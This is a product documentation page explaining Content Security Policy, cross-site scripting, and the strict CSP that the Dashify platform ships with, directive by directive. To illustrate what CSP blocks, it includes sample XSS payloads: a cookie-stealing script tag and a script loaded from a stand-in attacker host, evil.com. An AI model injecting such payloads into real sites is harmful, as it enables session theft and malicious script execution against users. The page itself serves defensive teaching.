Skip to main content

Content Security Policy

CSP is the browser feature that lets a website tell the browser, in advance, exactly which scripts and other resources are permitted to load on its pages. Anything else, the browser refuses, even if an attacker tricks the page into requesting it.

CSP is the strongest single defence against cross site scripting (XSS). It is also one of the most fiddly to configure correctly. This page explains what CSP does, what XSS is, and the policy Dashify ships with.

XSS, briefly

Cross-site scripting is the attack where an attacker gets their JavaScript to run on your page. If they can do that, they have everything: they can read the DOM, exfiltrate data, click buttons, fake messages.

The classic example: a comment box does not sanitise HTML. The attacker submits <script>steal(document.cookie)</script> as a comment. The page renders it. Every visitor's browser executes the attacker's script.

XSS is the most common serious web vulnerability in the OWASP Top 10. If a platform handles user-generated content at all, it has to defend against XSS.

How CSP defends

A Content Security Policy is a long HTTP response header that tells the browser:

  • Where scripts may load from.
  • Where stylesheets may load from.
  • Where images may load from.
  • Where fonts may load from.
  • Where frames are allowed to embed this page.
  • Where this page is allowed to send forms.
  • Whether inline scripts and styles are allowed at all.
  • ... and a dozen other directives.

A strict CSP says "scripts may only come from 'self'", meaning only scripts from the same origin as the page. Inline scripts (<script>...</script>) are forbidden unless they carry a special nonce or hash. Eval is forbidden.

Even if an attacker injects <script src="https://evil.com/steal.js"> into the page, the browser refuses to load it. The CSP has no entry for evil.com, so the script is blocked at the network layer.

CSP turns "I forgot to sanitise this one input" from "instant pwnage" into "the script never even loads."

Dashify's policy

Dashify ships with a real, strict CSP. Roughly:

  • default-src 'self', by default, anything not explicitly allowed elsewhere must come from the same origin as the page.
  • script-src 'self' plus a small list of trusted CDNs (CKEditor, the Cloudinary widget). Inline scripts are not permitted; eval is not permitted.
  • style-src 'self' 'unsafe-inline', the 'unsafe-inline' is needed because Reactstrap and Bootstrap insert inline styles. We accept this tradeoff because the script-src is the more dangerous gate, and inline-style XSS is dramatically less powerful than inline-script XSS.
  • img-src 'self' data: blob: https://res.cloudinary.com, images from our CDN, plus data and blob URLs for runtime-generated images.
  • font-src 'self' https://fonts.gstatic.com, Google Fonts.
  • connect-src 'self' wss:, XHR/fetch to the same origin, plus WebSocket connections.
  • frame-ancestors 'none', no other site may embed Dashify in an iframe. Stops clickjacking.
  • form-action 'self', forms can only submit to the same origin.
  • base-uri 'self', the <base> tag can only point at the same origin (a subtle XSS vector via <base> injection, closed).
  • object-src 'none', no Flash, no Java applets, no <object> embeds at all.

The full policy is set as a single header by Helmet's CSP middleware. Helmet handles the formatting; the value lives in one place in the codebase.

What is 'unsafe-inline' and why is it scary?

'unsafe-inline' allows inline <script>...</script> blocks and inline event handlers like onclick="...". In a strict CSP, you should never allow 'unsafe-inline' for script-src, because that single option re-opens the door to most XSS attacks.

Dashify allows 'unsafe-inline' only for style-src. This is a calculated compromise, the worst an inline-style injection can do is break the page's layout or, in pathological cases, exfiltrate a small amount of data via CSS attribute selectors (a niche attack). The far more dangerous script-src stays strict.

A future hardening task on the roadmap is removing 'unsafe-inline' from style-src by adopting CSS-in-JS with hashed class names. It is a real chunk of work, deferred for now.

Reporting

CSP supports a report-uri directive that tells the browser to send a JSON report to a URL whenever it blocks something. Dashify's CSP includes a report-uri pointing at an internal endpoint. Sentry collects the reports.

This is invaluable: it tells us when legitimate code accidentally violates the CSP (a new third-party script we forgot to allow) and when attackers are probing (someone tried to inject <script src="evil.com">, the browser blocked it, and the report tells us).

CSP in development

CSP is so strict that mistakes get caught fast in development. Vite's HMR (hot module reload) uses inline scripts, which a strict CSP would block. Dashify's CSP middleware checks NODE_ENV and uses a relaxed policy in development that still keeps the dangerous directives but allows the inline scripts the dev tooling needs.

In production, the strict policy applies.

What CSP does not stop

CSP is not magic. It does not stop:

  • Clickjacking on its own (you also need frame-ancestors, which Dashify sets).
  • Cookie theft if cookies are not HttpOnly (Dashify's are).
  • CSRF (Dashify uses double submit tokens for that).
  • Server-side bugs that leak data through legitimate API responses (Dashify's RBAC and tenant isolation handle that).

CSP is one shield. The platform carries several.

Key takeaways

  • CSP is an HTTP header that tells the browser exactly which sources of scripts, styles, and other resources are allowed.
  • It is the strongest single defence against XSS.
  • Dashify's policy is strict on script-src (no inline, no eval), the most dangerous directive.
  • Violations are reported to Sentry so we see both legitimate misconfigurations and attempted attacks.
  • CSP is one layer; cookie flags, CSRF tokens, RBAC, and input validation are the others.